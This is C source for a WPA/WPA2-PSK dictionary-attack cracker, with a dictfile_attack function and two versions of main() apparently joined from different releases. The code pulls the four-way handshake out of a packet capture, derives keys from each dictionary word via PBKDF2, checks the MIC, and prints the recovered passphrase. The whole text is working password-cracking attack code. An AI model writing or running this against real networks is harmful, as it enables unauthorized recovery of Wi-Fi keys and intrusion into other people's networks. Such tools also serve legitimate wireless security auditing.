int dictfile_attack(struct user_opt *opt, char *passphrase, struct crack_data *cdata) { FILE *fp; int fret; u8 pmk[32]; u8 ptk[64]; u8 keymic[16]; struct wpa_ptk *ptkset; #ifdef FPGA // int i; opt_g = opt; cdata_g = cdata; if(usefpga) initfpga(); #endif /* Open the dictionary file */ if (*opt->dictfile == '-') { printf("Using STDIN for words.\n"); fp = stdin; } else { fp = fopen(opt->dictfile, "r"); if (fp == NULL) { perror("fopen"); exit(-1); } } while (feof(fp) == 0 && sig == 0) { /* Populate "passphrase" with the next word */ fret = nextdictword(passphrase, fp); if (fret < 0) { break; } if (opt->verbose > 1) { printf("Testing passphrase: %s\n", passphrase); } /* * Test length of word. IEEE 802.11i indicates the passphrase * must be at least 8 characters in length, and no more than 63 * characters in length. */ if (fret < 8 || fret > 63) { if (opt->verbose) { printf("Invalid passphrase length: %s (%d).\n", passphrase, strlen(passphrase)); } continue; } else { /* This word is good, increment the words tested counter */ wordstested++; } /* Status display */ #ifdef FPGA if ((wordstested % 100) == 0) { #else if ((wordstested % 1000) == 0) { #endif printf("key no. %ld: %s\n", wordstested, passphrase); fflush(stdout); } if (opt->verbose > 1) { printf("Calculating PMK for \"%s\".\n", passphrase); } pbkdf2_sha1(passphrase, opt->ssid, strlen(opt->ssid), 4096, pmk, sizeof(pmk), USECACHED); #ifdef FPGA if (!usefpga) { #endif if (opt->verbose > 2) { printf("PMK is"); lamont_hdump(pmk, sizeof(pmk)); } if (opt->verbose > 1) { printf("Calculating PTK with collected data and " "PMK.\n"); } #ifdef FPGA /* for(i = 0; i < 32; i++) printf("%02x ", pmk[i]); printf("\n"); */ #endif wpa_pmk_to_ptk(pmk, cdata->aa, cdata->spa, cdata->anonce, cdata->snonce, ptk, sizeof(ptk)); if (opt->verbose > 2) { printf("Calculated PTK for \"%s\" is", passphrase); lamont_hdump(ptk, sizeof(ptk)); } ptkset = (struct wpa_ptk *)ptk; if (opt->verbose > 1) { printf("Calculating hmac-MD5 Key MIC for this " "frame.\n"); } hmac_md5(ptkset->mic_key, 16, cdata->eapolframe, sizeof(cdata->eapolframe), keymic); if (opt->verbose > 2) { printf("Calculated MIC with \"%s\" is", passphrase); lamont_hdump(keymic, sizeof(keymic)); } if (memcmp(&cdata->keymic, &keymic, sizeof(keymic)) == 0) { return 0; } else { continue; } #ifdef FPGA } #endif } #ifdef FPGA if(usefpga) { printf("waiting..."); fflush(stdout); finishreg(); printf("\ndone\n"); } #endif return 1; } int main(int argc, char **argv) { struct user_opt opt; struct crack_data cdata; struct capture_data capdata; struct wpa_eapol_key *eapkeypacket; u8 eapolkey_nomic[99]; struct timeval start, end; int ret; char passphrase[MAXPASSLEN + 1]; printf("%s %s - WPA-PSK dictionary attack. <*****@*****.**>\n", PROGNAME, VER); memset(&opt, 0, sizeof(struct user_opt)); memset(&capdata, 0, sizeof(struct capture_data)); memset(&cdata, 0, sizeof(struct crack_data)); memset(&eapolkey_nomic, 0, sizeof(eapolkey_nomic)); /* Collect and test command-line arguments */ parseopts(&opt, argc, argv); testopts(&opt); printf("\n"); /* Populate capdata struct */ strncpy(capdata.pcapfilename, opt.pcapfile, sizeof(capdata.pcapfilename)); if (openpcap(&capdata) != 0) { printf("Unsupported or unrecognized pcap file.\n"); exit(1); } /* populates global *packet */ while (getpacket(&capdata) > 0) { if (opt.verbose > 2) { lamont_hdump(packet, h->len); } /* test packet for data that we are looking for */ if (memcmp(&packet[capdata.l2type_offset], DOT1X_LLCTYPE, 2) == 0 && (h->len > capdata.l2type_offset + sizeof(struct wpa_eapol_key))) { /* It's a dot1x frame, process it */ handle_dot1x(&cdata, &capdata); if (cdata.aaset && cdata.spaset && cdata.snonceset && cdata.anonceset && cdata.keymicset && cdata.eapolframeset) { /* We've collected everything we need. */ break; } } } closepcap(&capdata); if (!(cdata.aaset && cdata.spaset && cdata.snonceset && cdata.anonceset && cdata.keymicset && cdata.eapolframeset)) { printf("End of pcap capture file, incomplete TKIP four-way " "exchange. Try using a\ndifferent capture.\n"); exit(1); } else { printf("Collected all necessary data to mount crack against " "passphrase.\n"); } if (opt.verbose > 1) { dump_all_fields(cdata); } /* Zero mic and length data for hmac-md5 calculation */ eapkeypacket = (struct wpa_eapol_key *)&cdata.eapolframe[EAPDOT1XOFFSET]; memset(&eapkeypacket->key_mic, 0, sizeof(eapkeypacket->key_mic)); eapkeypacket->key_data_length = 0; printf("Starting dictionary attack. Please be patient.\n"); fflush(stdout); // signal(SIGINT, cleanup); // signal(SIGTERM, cleanup); // signal(SIGQUIT, cleanup); gettimeofday(&start, NULL); #ifdef FPGA start_g = start; #endif if (!IsBlank(opt.hashfile)) { ret = hashfile_attack(&opt, passphrase, &cdata); } else if (!IsBlank(opt.dictfile)) { ret = dictfile_attack(&opt, passphrase, &cdata); } else { usage("Must specify dictfile or hashfile (-f or -d)"); exit(1); } if (ret == 0) { printf("\nThe PSK is \"%s\".\n", passphrase); } else { printf("Unable to identify the PSK from the dictionary file. " "Try expanding your\npassphrase list, and double-check" " the SSID. Sorry it didn't work out.\n"); } gettimeofday(&end, NULL); printstats(start, end, wordstested); return (1); }
int main(int argc, char **argv) { struct user_opt opt; struct crack_data cdata; struct capture_data capdata; struct wpa_eapol_key *eapkeypacket; u8 eapolkey_nomic[99]; struct timeval start, end; int ret; char passphrase[MAXPASSLEN + 1]; printf("%s %s - WPA-PSK dictionary attack. <*****@*****.**>\n", PROGNAME, VER); memset(&opt, 0, sizeof(struct user_opt)); memset(&capdata, 0, sizeof(struct capture_data)); memset(&cdata, 0, sizeof(struct crack_data)); memset(&eapolkey_nomic, 0, sizeof(eapolkey_nomic)); /* Collect and test command-line arguments */ parseopts(&opt, argc, argv); testopts(&opt); printf("\n"); /* Populate capdata struct */ strncpy(capdata.pcapfilename, opt.pcapfile, sizeof(capdata.pcapfilename)); if (openpcap(&capdata) != 0) { printf("Unsupported or unrecognized pcap file.\n"); exit(-1); } /* populates global *packet */ while (getpacket(&capdata) > 0) { if (opt.verbose > 2) { lamont_hdump(packet, h->len); } /* test packet for data that we are looking for */ if (memcmp(&packet[capdata.l2type_offset], DOT1X_LLCTYPE, 2) == 0 && (h->len > capdata.l2type_offset + sizeof(struct wpa_eapol_key))) { /* It's a dot1x frame, process it */ handle_dot1x(&cdata, &capdata, &opt); if (cdata.aaset && cdata.spaset && cdata.snonceset && cdata.anonceset && cdata.keymicset && cdata.eapolframeset) { /* We've collected everything we need. */ break; } } } if (!(cdata.aaset && cdata.spaset && cdata.snonceset && cdata.anonceset && cdata.keymicset && cdata.eapolframeset)) { cdata.aaset = 0; cdata.spaset = 0; cdata.snonceset = 0; cdata.anonceset = 0; cdata.keymicset = 0; cdata.eapolframeset = 0; opt.nonstrict = 1; memset(&capdata, 0, sizeof(struct capture_data)); memset(&cdata, 0, sizeof(struct crack_data)); memset(&eapolkey_nomic, 0, sizeof(eapolkey_nomic)); /* Populate capdata struct */ strncpy(capdata.pcapfilename, opt.pcapfile, sizeof(capdata.pcapfilename)); if (openpcap(&capdata) != 0) { printf("Unsupported or unrecognized pcap file.\n"); exit(-1); } /* populates global *packet */ while (getpacket(&capdata) > 0) { if (opt.verbose > 2) { lamont_hdump(packet, h->len); } /* test packet for data that we are looking for */ if (memcmp(&packet[capdata.l2type_offset], DOT1X_LLCTYPE, 2) == 0 && (h->len >capdata.l2type_offset + sizeof(struct wpa_eapol_key))) { /* It's a dot1x frame, process it */ handle_dot1x(&cdata, &capdata, &opt); if (cdata.aaset && cdata.spaset && cdata.snonceset && cdata.anonceset && cdata.keymicset && cdata.eapolframeset) { if (cdata.replay_counter1 != 0 && cdata.replay_counter2 != 0) { if (memcmp (cdata.replay_counter1, cdata.replay_counter2, 8) == 0) { cdata.counters = 1; /* We've collected everything we need. */ break; } } if (cdata.replay_counter3 != 0 && cdata.replay_counter4 != 0) { if (memcmp (cdata.replay_counter3, cdata.replay_counter4, 8) == 0) { cdata.counters = 1; /* We've collected everything we need. */ break; } } } } } } closepcap(&capdata); if (!(cdata.aaset && cdata.spaset && cdata.snonceset && cdata.anonceset && cdata.keymicset && cdata.eapolframeset && cdata.counters)) { printf("End of pcap capture file, incomplete four-way handshake " "exchange. Try using a\ndifferent capture.\n"); exit(-1); } else { if (cdata.ver == WPA_KEY_INFO_TYPE_HMAC_SHA1_AES) { printf("Collected all necessary data to mount crack" " against WPA2/PSK passphrase.\n"); } else if (cdata.ver == WPA_KEY_INFO_TYPE_HMAC_MD5_RC4) { printf("Collected all necessary data to mount crack" " against WPA/PSK passphrase.\n"); } } if (opt.verbose > 1) { dump_all_fields(cdata, &opt); } if (opt.checkonly) { /* Don't attack the PSK, just return non-error return code */ return 0; } /* Zero mic and length data for hmac-md5 calculation */ eapkeypacket = (struct wpa_eapol_key *)&cdata.eapolframe[EAPDOT1XOFFSET]; memset(&eapkeypacket->key_mic, 0, sizeof(eapkeypacket->key_mic)); if (opt.nonstrict == 0) { eapkeypacket->key_data_length = 0; } printf("Starting dictionary attack. Please be patient.\n"); fflush(stdout); signal(SIGINT, cleanup); signal(SIGTERM, cleanup); signal(SIGQUIT, cleanup); gettimeofday(&start, 0); if (!IsBlank(opt.hashfile)) { ret = hashfile_attack(&opt, passphrase, &cdata); } else if (!IsBlank(opt.dictfile)) { ret = dictfile_attack(&opt, passphrase, &cdata); } else { usage("Must specify dictfile or hashfile (-f or -d)"); exit(-1); } if (ret == 0) { printf("\nThe PSK is \"%s\".\n", passphrase); gettimeofday(&end, 0); printstats(start, end, wordstested); return 0; } else { printf("Unable to identify the PSK from the dictionary file. " "Try expanding your\npassphrase list, and double-check" " the SSID. Sorry it didn't work out.\n"); gettimeofday(&end, 0); printstats(start, end, wordstested); return 1; } return 1; }